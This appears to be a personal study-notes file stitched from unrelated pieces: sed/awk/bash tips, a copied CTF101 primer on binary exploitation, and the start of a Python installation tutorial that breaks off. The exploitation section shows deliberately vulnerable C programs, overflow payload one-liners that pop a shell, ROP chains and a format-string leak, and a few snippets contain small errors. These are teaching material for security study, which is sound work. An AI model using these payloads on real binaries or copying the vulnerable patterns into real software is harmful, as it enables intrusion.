+r=replaced
+echo "line con a patten" | sed "s/$p/$r/g"
+$>line con a replaced
+
+String insertion character: converts each line of text (ABCDEF) to ABC/DEF:
+sed 's/^. \{3\}/&\/g' file
+
+awk ' BEGIN{ statements } statements2 END{ statements } '
+
+How it works
+executing the block of statements in begin.
+reads a line from the file or stdin and executes statements2, repeating the process until the file has been read in its entirety.
+Execute the end statement block.
+echo -e "line1\nline2" | awk 'BEGIN{print "start"} {print } END{ print "End" }'
+
+echo | awk ' {var1 = "v1" ; var2 = "V2"; var3 = "v3"; \
+print var1, var2 , var3; }'
+$>v1 V2 v3
+
+echo | awk ' {var1 = "v1" ; var2 = "V2"; var3 = "v3"; \
+print var1"-"var2"-"var3; }'
+$>v1-V2-v3
+
+NR:indicates the number of records, corresponding to the line number that should precede it during execution.
+NF:indicates the number of fields, which always pairs up with the number of fields that should go forward during execution.
+$0:this variable contains the text content of the current line during execution.
+$1:the text content of the first field.
+$2:the text content of the second field.
+echo -e "line1 f2 f3 \n line2 \n line 3" | awk '{print NR":"$0"-"$1"-"$2}'
+
+awk '{print $2, $3}' file
+
+awk ' END {print NR}' file
+
+echo -e "1\n 2\n 3\n 4\n" | awk 'BEGIN{num = 0 ;
+print "begin";} {sum += $1;} END {print "=="; print sum }'
+
+var=1000
+echo | awk '{print vara}' vara=$var # Input from stdin
+awk '{print vara}' vara=$var file # Input from file
+
+awk 'NR < 5' # line number less than 5
+awk 'NR == 1,NR == 4 {print}' file # Print out line numbers equal to 1 and 4
+awk '/linux/' # lines containing linux text (can be specified with regular expressions, super powerful)
+awk '! /linux/' # lines that do not contain linux text
+
+Use -F to set delimiters (default is spaces):
+awk -F: '{print $NF}' /etc/passwd
+
+Use getline to read the output of an external shell command into the variable cmdout:
+echo | awk '{"grep root /etc/passwd" | getline cmdout; print cmdout }'
+
+for(i=0;i<10;i++){print $i;}
+for(i in array){print array[i];}
+
+eg:The following string, print out the time string:
+2015_04_02 20:20:08: mysqli connect failed, please check connect info
+$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F ":" '{ for(i=1;i<=;i++) printf("%s:",$i)}'
+>2015_04_02 20:20:08: # This way will print the last colon
+$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F':' '{print $1 ":" $2 ":" $3; }'
+>2015_04_02 20:20:08 # This way satisfies the requirement
+
+And if you need to print out the later part as well (the time part is printed separately from the later text) :
+$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F':' '{print $1 ":" $2 ":" $3; print $4;}'
+>2015_04_02 20:20:08
+>mysqli connect failed, please check connect info
+
+Print the rows in reverse order: (implementation of the tac command):
+seq 9| \
+awk '{lifo[NR] = $0; lno=NR} \
+END{ for(;lno>-1;lno--){print lifo[lno];}
+} '
+
+ps -fe| grep msv8 | grep -v MFORWARD | awk '{print $2}' | xargs kill -9;
+
+awk 'NR<=10{print}' filename
+
+awk '{buffer[NR%10] = $0;} END{for(i=0;i<11;i++){ \
+print buffer[i %10]} } ' filename
+
+ls -lrt | awk '{print $6}'
+
+ls -lrt | cut -f6
+
+seq 100| awk 'NR==4,NR==6{print}'
+
+Print the text between start_pattern and end_pattern:
+awk '/start_pattern/, /end_pattern/' filename
+
+Example:
+seq 100 | awk '/13/,/15/'
+cat /etc/passwd| awk '/mai.*mail/,/news.*news/'
+
+index(string,search_string):return the position of search_string in string
+sub(regex,replacement_str,string):replace the first regular match with replacement_str;
+match(regex,string):check if the regular expression can match the string.
+length(string):return the length of the string
+echo | awk '{"grep root /etc/passwd" | getline cmdout; print length(cmdout) }'
+
+printf is similar to printf in c, and formats the output:
+seq 10 | awk '{printf "->%4s\n", $1}'
+
+while read line;
+do
+echo $line;
+done < file.txt
+
+Change to a subshell:
+cat file.txt | (while read line;do echo $line;done)
+
+cat file.txt| awk '{print}'
+
+for word in $line;
+do
+echo $word;
+done
+
+${string:start_pos:num_of_chars}: extract a character from the string; (bash text slicing)
+${#word}:return the length of the variable word
+for((i=0;i<${#word};i++))
+do
+echo ${word:i:1);
+done
+
+Display the file in ASCII characters:
+$od -c filename
+
+
+
+
+
+
+
+
+
+ ++https://ctf101.org/binary-exploitation/overview/
+
Binaries, or executables, are machine codes for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional Windows executable. Binary Exploitation is a broad topic within Cyber Security that really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
+Common topics addressed by Binary Exploitation or 'pwn' challenges include:
+A register is a location within the processor that is able to store data, much like RAM. Unlike RAM, however, accesses to registers are effectively instantaneous, whereas reads from main memory can take hundreds of CPU cycles to return.
+Registers can hold any value: addresses (pointers), results from mathematical operations, characters, etc. Some registers are reserved however, meaning they have a special purpose and are not "general purpose registers" (GPRs). On x86, the only 2 reserved registers are rip
and rsp
which hold the address of the next instruction to execute and the address of the stack respectively.
On x86, the same register can have different-sized accesses for backward compatibility. For example, the rax
register is the full 64-bit register, eax
is the low 32 bits of rax
, ax
is the low 16 bits, al
is the low 8 bits, and ah
is the high 8 bits of ax
(bits 8-16 of rax
).
In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).
+In x86, the stack is simply an area in RAM that was chosen to be the stack - there is no special hardware to store stack contents. The esp
/rsp
register holds the address in memory where the bottom of the stack resides. When something is push
ed to the stack, esp
decrements by 4 (or 8 on 64-bit x86), and the value that was push
ed is stored at that location in memory. Likewise, when a pop
instruction is executed, the value at esp
is retrieved (i.e. esp
is dereferenced), and esp
is then incremented by 4 (or 8).
N.B. The stack "grows" down to lower memory addresses!
+Conventionally, ebp
/rbp
contains the address of the top of the current stack frame, and so sometimes local variables are referenced as an offset relative to ebp
rather than an offset to esp
. A stack frame is essentially just the space used on the stack by a given function.
The stack is primarily used for a few things:
+Let's see what the stack looks like right after say_hi
has been called in this 32-bit x86 C program:
#include <stdio.h>
+
+void say_hi(const char * name) {
+ printf("Hello %s!\n", name);
+}
+
+int main(int argc, char ** argv) {
+ char * name;
+ if (argc != 2) {
+ return 1;
+ }
+ name = argv[1];
+ say_hi(name);
+ return 0;
+}
+
+And the relevant assembly:
+0804840b <say_hi>:
+ 804840b: 55 push ebp
+ 804840c: 89 e5 mov ebp,esp
+ 804840e: 83 ec 08 sub esp,0x8
+ 8048411: 83 ec 08 sub esp,0x8
+ 8048414: ff 75 08 push DWORD PTR [ebp+0x8]
+ 8048417: 68 f0 84 04 08 push 0x80484f0
+ 804841c: e8 bf fe ff ff call 80482e0 <printf@plt>
+ 8048421: 83 c4 10 add esp,0x10
+ 8048424: 90 nop
+ 8048425: c9 leave
+ 8048426: c3 ret
+
+08048427 <main>:
+ 8048427: 8d 4c 24 04 lea ecx,[esp+0x4]
+ 804842b: 83 e4 f0 and esp,0xfffffff0
+ 804842e: ff 71 fc push DWORD PTR [ecx-0x4]
+ 8048431: 55 push ebp
+ 8048432: 89 e5 mov ebp,esp
+ 8048434: 51 push ecx
+ 8048435: 83 ec 14 sub esp,0x14
+ 8048438: 89 c8 mov eax,ecx
+ 804843a: 83 38 02 cmp DWORD PTR [eax],0x2
+ 804843d: 74 07 je 8048446 <main+0x1f>
+ 804843f: b8 01 00 00 00 mov eax,0x1
+ 8048444: eb 1c jmp 8048462 <main+0x3b>
+ 8048446: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
+ 8048449: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
+ 804844c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
+ 804844f: 83 ec 0c sub esp,0xc
+ 8048452: ff 75 f4 push DWORD PTR [ebp-0xc]
+ 8048455: e8 b1 ff ff ff call 804840b <say_hi>
+ 804845a: 83 c4 10 add esp,0x10
+ 804845d: b8 00 00 00 00 mov eax,0x0
+ 8048462: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
+ 8048465: c9 leave
+ 8048466: 8d 61 fc lea esp,[ecx-0x4]
+ 8048469: c3 ret
+
+Skipping over the bulk of main
, you'll see that at 0x8048452
main
's name
local is pushed to the stack because it's the first argument to say_hi
. Then, a call
instruction is executed. call
instructions first push the current instruction pointer to the stack, then jump to their destination. So when the processor begins executing say_hi
at 0x0804840b
, the stack looks like this:
EIP = 0x0804840b (push ebp)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ESP -> 0xffff0000: 0x0804845a // Return address for say_hi
+
+The first thing say_hi
does is save the current ebp
so that when it returns, ebp
is back where main
expects it to be. The stack now looks like this:
EIP = 0x0804840c (mov ebp, esp)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+ESP -> 0xfffefffc: 0xffff002c // Saved EBP
+
+Again, note how esp
gets smaller when values are pushed to the stack.
Next, the current esp
is saved into ebp
, marking the top of the new stack frame.
EIP = 0x0804840e (sub esp, 0x8)
+ESP = 0xfffefffc
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+ESP, EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+
+Then, the stack is "grown" to accommodate local variables inside say_hi
.
EIP = 0x08048414 (push [ebp + 0x8])
+ESP = 0xfffeffec
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+ 0xfffefff8: UNDEFINED
+ 0xfffefff4: UNDEFINED
+ 0xfffefff0: UNDEFINED
+ESP -> 0xfffefffc: UNDEFINED
+
+NOTE: stack space is not implicitly cleared!
+Now, the 2 arguments to printf
are pushed in reverse order.
EIP = 0x0804841c (call printf@plt)
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+ 0xfffefff8: UNDEFINED
+ 0xfffefff4: UNDEFINED
+ 0xfffefff0: UNDEFINED
+ 0xfffeffec: UNDEFINED
+ 0xfffeffe8: 0xffffa0a0 // printf argument 2
+ESP -> 0xfffeffe4: 0x080484f0 // printf argument 1
+
+Finally, printf
is called, which pushes the address of the next instruction to execute.
EIP = 0x080482e0
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+ 0xfffefff8: UNDEFINED
+ 0xfffefff4: UNDEFINED
+ 0xfffefff0: UNDEFINED
+ 0xfffeffec: UNDEFINED
+ 0xfffeffe8: 0xffffa0a0 // printf argument 2
+ 0xfffeffe4: 0x080484f0 // printf argument 1
+ESP -> 0xfffeffe0: 0x08048421 // Return address for printf
+
+Once printf
has returned, the leave
instruction moves ebp
into esp
, and pops the saved EBP.
EIP = 0x08048426 (ret)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ESP -> 0xffff0000: 0x0804845a // Return address for say_hi
+
+And finally, ret
pops the saved instruction pointer into eip
which causes the program to return to main with the same esp
, ebp
, and stack contents as when say_hi
was initially called.
EIP = 0x0804845a (add esp, 0x10)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+ESP -> 0xffff0004: 0xffffa0a0 // say_hi argument 1
+
+To be able to call functions, there needs to be an agreed-upon way to pass arguments. If a program is entirely self-contained in a binary, the compiler would be free to decide the calling convention. However, in reality, shared libraries are used so that common code (e.g. libc) can be stored once and dynamically linked into programs that need it, reducing program size.
+In Linux binaries, there are really only two commonly used calling conventions: cdecl for 32-bit binaries, and SysV for 64-bit
+In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:
+int add(int a, int b, int c) {
+ return a + b + c;
+}
+
+would be invoked by pushing c
, then b
, then a
.
For 64-bit binaries, function arguments are first passed in certain registers:
+then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.
+Any method of passing arguments could be used as long as the compiler is aware of what the convention is. As a result, there have been many calling conventions in the past that aren't used frequently anymore. See Wikipedia for a comprehensive list.
+The Global Offset Table (or GOT) is a section inside of programs that hold addresses of functions that are dynamically linked. As mentioned in the page on calling conventions, most programs don't include every function they use to reduce binary size. Instead, common functions (like those in libc) are "linked" into the program so they can be saved once on disk and reused by every program.
+Unless a program is marked full RELRO, the resolution of the function to address in a dynamic library is done lazily. All dynamic libraries are loaded into memory along with the main program at launch, however, functions are not mapped to their actual code until they're first called. For example, in the following C snippet puts
won't be resolved to an address in libc until after it has been called once:
int main() {
+ puts("Hi there!");
+ puts("Ok bye now.");
+ return 0;
+}
+
+To avoid searching through shared libraries each time a function is called, the result of the lookup is saved into the GOT so future function calls "short circuit" straight to their implementation bypassing the dynamic resolver.
+This has two important implications:
+These two facts will become very useful to use in Return Oriented Programming
+Before the address of a function has been resolved, the GOT points to an entry in the Procedure Linkage Table (PLT). This is a small "stub" function that is responsible for calling the dynamic linker with (effectively) the name of the function that should be resolved.
+A buffer is any allocated space in memory where data (often user input) can be stored. For example, in the following C program name
would be considered a stack buffer:
#include <stdio.h>
+
+int main() {
+ char name[64] = {0};
+ read(0, name, 63);
+ printf("Hello %s", name);
+ return 0;
+}
+
+Buffers could also be global variables:
+#include <stdio.h>
+
+char name[64] = {0};
+
+int main() {
+ read(0, name, 63);
+ printf("Hello %s", name);
+ return 0;
+}
+
+Or dynamically allocated on the heap:
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ char *name = malloc(64);
+ memset(name, 0, 64);
+ read(0, name, 63);
+ printf("Hello %s", name);
+ return 0;
+}
+
+Given that buffers commonly hold user input, mistakes when writing to them could result in attacker-controlled data being written outside of the buffer's space. See the page on buffer overflows for more.
+A Buffer Overflow is a vulnerability in which data can be written that exceeds the allocated space, allowing an attacker to overwrite other data.
+The simplest and most common buffer overflow is one where the buffer is on the stack. Let's look at an example.
+#include <stdio.h>
+
+int main() {
+ int secret = 0xdeadbeef;
+ char name[100] = {0};
+ read(0, name, 0x100);
+ if (secret == 0x1337) {
+ puts("Wow! Here's a secret.");
+ } else {
+ puts("I guess you're not cool enough to see my secret");
+ }
+}
+
+There's a tiny mistake in this program which will allow us to see the secret. name
is decimal 100 bytes, however, we're reading in hex 100 bytes (=256 decimal bytes)! Let's see how we can use this to our advantage.
If the compiler chose to layout the stack like this:
+ 0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0xdeadbeef // secret
+...
+ 0xffff0004: 0x0
+ESP -> 0xffff0000: 0x0 // name
+
+let's look at what happens when we read in 0x100 bytes of 'A's.
+The first decimal 100 bytes are saved properly:
+ 0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0xdeadbeef // secret
+...
+ 0xffff0004: 0x41414141
+ESP -> 0xffff0000: 0x41414141 // name
+
+However, when the 101st byte is read in, we see an issue:
+ 0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0xdeadbe41 // secret
+...
+ 0xffff0004: 0x41414141
+ESP -> 0xffff0000: 0x41414141 // name
+
+The least significant byte of the secret
has been overwritten! If we follow the next 3 bytes to be read in, we'll see the entirety of the secret
is "clobbered" with our 'A's
0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0x41414141 // secret
+...
+ 0xffff0004: 0x41414141
+ESP -> 0xffff0000: 0x41414141 // name
+
+The remaining 152 bytes would continue clobbering values up the stack.
+How can we use this to pass the seemingly impossible check in the original program? Well, if we carefully line up our input so that the bytes that overwrite the secret
happen to be the bytes that represent 0x1337 in Little Endian, we'll see the secret message.
A small Python one-liner will work nicely: python -c "print 'A'*100 + '\x31\x13\x00\x00'"
This will fill the name
buffer with 100 'A's, then overwrite the secret
with the 32-bit little-endian encoding of 0x1337.
As discussed on the stack page, the instruction that the current function should jump to when it is done is also saved on the stack (denoted as "Saved EIP" in the above stack diagrams). If we can overwrite this, we can control where the program jumps after the main
finishes running, giving us the ability to control what the program does entirely.
Usually, the end objective in binary exploitation is to get a shell (often called "popping a shell") on the remote computer. The shell provides us with an easy way to run anything we want on the target computer.
+Say there happens to be a nice function that does this define somewhere else in the program that we normally can't get to:
+void give_shell() {
+ system("/bin/sh");
+}
+
+Well with our buffer overflow knowledge, now we can! All we have to do is overwrite the saved EIP on the stack to the address where give_shell
is. Then, when the main returns, it will pop that address off of the stack and jump to it, running give_shell
, and giving us our shell.
Assuming give_shell
is at 0x08048fd0, we could use something like this: python -c "print 'A'*108 + '\xd0\x8f\x04\x08'"
We send 108 'A's to overwrite the 100 bytes that are allocated for the name
, the 4 bytes for secret
, and the 4 bytes for the saved EBP. Then we simply send the little-endian form of give_shell
's address, and we would get a shell!
This idea is extended on in Return Oriented Programming
+Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.
+As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwrite saved instruction pointers, giving us control over what the program does next. Most programs don't have a convenient give_shell
function, however, so we need to find a way to manually invoke the system
or another exec
function to get us our shell.
Imagine we have a program similar to the following:
+#include <stdio.h>
+#include <stdlib.h>
+
+char name[32];
+
+int main() {
+ printf("What's your name? ");
+ read(0, name, 32);
+
+ printf("Hi %s\n", name);
+
+ printf("The time is currently ");
+ system("/bin/date");
+
+ char echo[100];
+ printf("What do you want me to echo back? ");
+ read(0, echo, 1000);
+ puts(echo);
+
+ return 0;
+}
+
+We obviously have a stack buffer overflow on the echo
variable which can give us EIP control when the main
returns. But we don't have a give_shell
function! So what can we do?
We can call the system
with an argument we control! Since arguments are passed in on the stack in 32-bit Linux programs (see calling conventions), if we have stack control, we have argument control.
When the main returns, we want our stack to look like something normally called system
. Recall what is on the stack after a function has been called:
... // More arguments
+ 0xffff0008: 0x00000002 // Argument 2
+ 0xffff0004: 0x00000001 // Argument 1
+ESP -> 0xffff0000: 0x080484d0 // Return address
+
+So the main
's stack frame needs to look like this:
0xffff0008: 0xdeadbeef // system argument 1
+ 0xffff0004: 0xdeadbeef // return address for system
+ESP -> 0xffff0000: 0x08048450 // return address for main (system's PLT entry)
+
+Then when the main
returns, it will jump into the system
's PLT entry and the stack will appear just like the system
had been called normally for the first time.
Note: we don't care about the return address system
will return to because we will have already gotten our shell by then!
This is a good start, but we need to pass an argument to the system
for anything to happen. As mentioned in the page on ASLR, the stack and dynamic libraries "move around" each time a program is run, which means we can't easily use data on the stack or a string in libc for our argument. In this case, however, we have a very convenient name
global which will be at a known location in the binary (in the BSS segment).
Our exploit will need to do the following:
+name
system
's PLT entryname
global acts as the first argument to the system
In 64-bit binaries, we have to work a bit harder to pass arguments to functions. The basic idea of overwriting the saved RIP is the same, but as discussed in calling conventions, arguments are passed in registers in 64-bit programs. In the case of running the system
, this means we will need to find a way to control the RDI register.
To do this, we'll use small snippets of assembly in the binary, called "gadgets." These gadgets usually pop
one or more registers off of the stack, and then call ret
, which allows us to chain them together by making a large fake call stack.
For example, if we needed control of both RDI and RSI, we might find two gadgets in our program that look like this (using a tool like rp++ or ROPgadget):
+0x400c01: pop rdi; ret
+0x400c03: pop rsi; pop r15; ret
+
+We can set up a fake call stack with these gadgets to sequentially execute them, pop
ing values we control into registers, and then end with a jump to the system
.
0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+ 0xffff0018: 0x1337beef // value we want in rsi
+ 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget
+ 0xffff0008: 0xdeadbeef // value to be popped into rdi
+RSP -> 0xffff0000: 0x400c01 // address of rdi gadget
+
+Stepping through this one instruction at a time, main
returns, jumping to our pop rdi
gadget:
RIP = 0x400c01 (pop rdi)
+RDI = UNKNOWN
+RSI = UNKNOWN
+
+ 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+ 0xffff0018: 0x1337beef // value we want in rsi
+ 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget
+RSP -> 0xffff0008: 0xdeadbeef // value to be popped into rdi
+
+pop rdi
is then executed, popping the top of the stack into RDI:
RIP = 0x400c02 (ret)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+ 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+ 0xffff0018: 0x1337beef // value we want in rsi
+RSP -> 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget
+
+The RDI gadget then ret
s into our RSI gadget:
RIP = 0x400c03 (pop rsi)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+ 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+RSP -> 0xffff0018: 0x1337beef // value we want in rsi
+
+RSI and R15 are popped:
+RIP = 0x400c05 (ret)
+RDI = 0xdeadbeef
+RSI = 0x1337beef
+
+RSP -> 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+
+And finally, the RSI gadget ret
s, jumping to whatever function we want, but now with RDI and RSI set to values we control.
Binary Security is using tools and methods in order to secure programs from being manipulated and exploited. These tools are not infallible, but when used together and implemented properly, they can raise the difficulty of exploitation greatly.
+Some methods covered include:
+A heap is a place in memory that a program can use to dynamically create objects. Creating objects on the heap has some advantages compared to using the stack:
+There are also some disadvantages, however:
+In C, there are a number of functions used to interact with the heap, but we're going to focus on the two core ones:
+malloc
: allocate n
bytes on the heapfree
: free the given allocationLet's see how these could be used in a program:
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int main() {
+ unsigned alloc_size = 0;
+ char *stuff;
+
+ printf("Number of bytes? ");
+ scanf("%u", &alloc_size);
+
+ stuff = malloc(alloc_size + 1);
+ memset(0, stuff, alloc_size + 1);
+
+ read(0, stuff, alloc_size);
+
+ printf("You wrote: %s", stuff);
+
+ free(stuff);
+
+ return 0;
+}
+
+This program reads in a size from the user, creates an allocation of that size on the heap, reads in that many bytes, then prints it back out to the user.
+Much like a stack buffer overflow, a heap overflow is a vulnerability where more data than can fit in the allocated buffer is read in. This could lead to heap metadata corruption, or corruption of other heap objects, which could in turn provide a new attack surface.
+Once free
is called on an allocation, the allocator is free to reallocate that chunk of memory in future calls to malloc
if it so chooses. However, if the program author isn't careful and uses the freed object later on, the contents may be corrupt (or even attacker controlled). This is called use after free or UAF.
#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+typedef struct string {
+ unsigned length;
+ char *data;
+} string;
+
+int main() {
+ struct string* s = malloc(sizeof(string));
+ puts("Length:");
+ scanf("%u", &s->length);
+ s->data = malloc(s->length + 1);
+ memset(s->data, 0, s->length + 1);
+ puts("Data:");
+ read(0, s->data, s->length);
+
+ free(s->data);
+ free(s);
+
+ char *s2 = malloc(16);
+ memset(s2, 0, 16);
+ puts("More data:");
+ read(0, s2, 15);
+
+ // Now using s again, a UAF
+
+ puts(s->data);
+
+ return 0;
+}
+
+In this example, we have a string
structure with a length and a pointer to the actual string data. We properly allocate, fill, and then free an instance of this structure. Then we make another allocation, fill it, and then improperly reference the freed string
. Due to how Glibc's allocator works, s2
will actually get the same memory as the original s
allocation, which in turn gives us the ability to control the s->data
pointer. This could be used to leak program data.
Not only can the heap be exploited by the data in allocations, but exploits can also use the underlying mechanisms in malloc
, free
, etc. to exploit a program. This is beyond the scope of CTF 101, but here are a few recommended resources:
A format string vulnerability is a bug where user input is passed as the format argument to printf
, scanf
, or another function in that family.
The format argument has many different specifies which could allow an attacker to leak data if they control the format argument to printf
. Since printf
and similar are variadic functions, they will continue popping data off of the stack according to the format.
For example, if we can make the format argument "%x.%x.%x.%x", printf
will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information.
printf
can also index to an arbitrary "argument" with the following syntax: "%n$x" (where n
is the decimal index of the argument you want).
While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf
is called with a non-constant string.
#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+ int secret_num = 0x8badf00d;
+
+ char name[64] = {0};
+ read(0, name, 64);
+ printf("Hello ");
+ printf(name);
+ printf("! You'll never get my secret!\n");
+ return 0;
+}
+
+Due to how GCC decided to lay out the stack, secret_num
is actually at a lower address on the stack than name
, so we only have to go to the 7th "argument" in printf
to leak the secret:
$ ./fmt_string
+%7$llx
+Hello 8badf00d3ea43eef
+! You'll never get my secret!
+
+
+
+
+
+
+
+
+
+ ++https://www.liaoxuefeng.com/wiki/1016959663602400
+https://www.w3schools.com/python/python_intro.asp
+https://docs.python.org/3/
+
Python is a popular programming language. It was created by Guido van Rossum, and released in 1991.
+It is used for:
+print("Hello, World!")
+
+Because Python is cross-platform, it can run on Windows, Mac, and various Linux/Unix systems. Python programs written on Windows are capable of running when put on Linux.
+To start learning Python programming, you first have to install Python into your computer. Once installed, you'll get the Python interpreter (which is responsible for running Python programs), a command line interactive environment, and a simple integrated development environment.
+Currently, there are two versions of Python, version 2.x and version 3.x, which are incompatible. Since version 3.x is becoming more and more popular, our tutorial will be based on the latest Python version 3.8. Please make sure that the version of Python installed on your computer is the latest 3.8.x so that you can learn this tutorial painlessly.
+If you are using a Mac with OS X>=10.9, the version of Python that comes with the system is 2.7. To install the latest Python 3.8, there are two methods.
+Method 1: Download the installer for Python 3.8 from the official Python website, double-click it after downloading and run it and install it.
+Method 2: If Homebrew is installed, just install it directly via the command brew install python3
.
If you are using Linux, then I can assume that you have Linux system administration experience and should have no problem installing Python 3 on your own, otherwise, switch back to Windows.
+For a large number of students who are currently still using Windows, if you have no plans to switch to a Mac soon, you can continue reading below.
+First, depending on your version of Windows (64-bit or 32-bit), download the 64-bit installer or 32-bit installer, then, run the downloaded exe installer:
+ +Pay special attention to checking Add Python 3.8 to PATH
, and then click Install Now
to complete the installation.
After successful installation, open a command prompt window and type in python, two cases will appear.
+Scenario one.
+┌────────────────────────────────────────────────────────┐
+│Command Prompt - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> python │
+│Python 3.8.x ... │
+│[MSC v... 64 bit (AMD64)] on win32 │
+│Type "help", "copyright", "credits" or "license" for mor│
+│information. │
+│>>> _ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+Seeing the above screen means that Python was installed successfully!
+The fact that you see the prompt >>>
means that we are in the Python interactive environment and can type any Python code, and you will get the execution result immediately after entering. Now, type exit()
and enter to exit the Python interactive environment (you can also close the command line window directly).
Case 2: You get an error.
+┌────────────────────────────────────────────────────────┐
+│Command Prompt - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> python │
+│'python' is not recognized as an internal or external co│
+│mmand, operable program or batch file. │
+│ │
+│C:\> _ │
+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+This is because Windows will look for python.exe
based on the path set by a Path
environment variable, and if it doesn't find it, it will report an error. If you missed checking Add Python 3.8 to PATH
during installation, you will have to manually add the path where python.exe
is located to the Path.
If you don't know how to change the environment variables, we recommend running the Python installer again, making sure to check Add Python 3.8 to PATH
.
When we write Python code, we get a text file with a .py
extension that contains Python code. To run the code, a Python interpreter is needed to execute the .py
file.
Since the entire Python language is open source, from the specification to the interpreter, theoretically anyone with a high enough level of proficiency could write a Python interpreter to execute Python code (with great difficulty, of course). In fact, multiple Python interpreters do exist.
+When we download and install Python 3.x from the official Python website, we get an official version of the interpreter directly: CPython. This interpreter is developed in C, hence the name CPython. Running python
at the command line is to start the CPython interpreter.
CPython is the most widely used Python interpreter. All the code in the tutorial is also executed under CPython.
+IPython is an interactive interpreter based on CPython. That is, IPython is only enhanced in the way it interacts, but the functionality of executing Python code is exactly the same as CPython. It's like many domestic browsers have different appearances, but the kernel is actually calling IE.
+CPython uses >>>
as the prompt, while IPython uses In [serial number]:
as the prompt.
PyPy is another Python interpreter that targets execution speed. PyPy uses JIT technology to dynamically compile (note that it does not interpret) Python code, so it can significantly improve the execution speed of Python code.
+The vast majority of Python code will run under PyPy, but PyPy and CPython are somewhat different, which results in the same Python code executing under both interpreters may have different results. If your code is going to be executed under PyPy, you need to understand the differences between PyPy and CPython.
+Jython is a Python interpreter that runs on the Java platform and can compile Python code directly into Java bytecode for execution.
+IronPython is similar to Jython, except that IronPython is a Python interpreter that runs on Microsoft.
+There are many interpreters for Python, but the most widely used is CPython. If you want to interact with Java or .Net.
+All code in this tutorial is guaranteed to run under CPython version 3.x only. Be sure to install CPython locally (that is, download the installer from the official Python website).
+Before we officially write our first Python program, let's review what command line mode and Python interaction mode are.
+Select "Command Prompt" in the Windows Start menu to enter command line mode, which has a prompt similar to C:\>
.
┌────────────────────────────────────────────────────────┐
+│Command Prompt - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> _ │
+│ │
+│ │
+│ │
+│ │
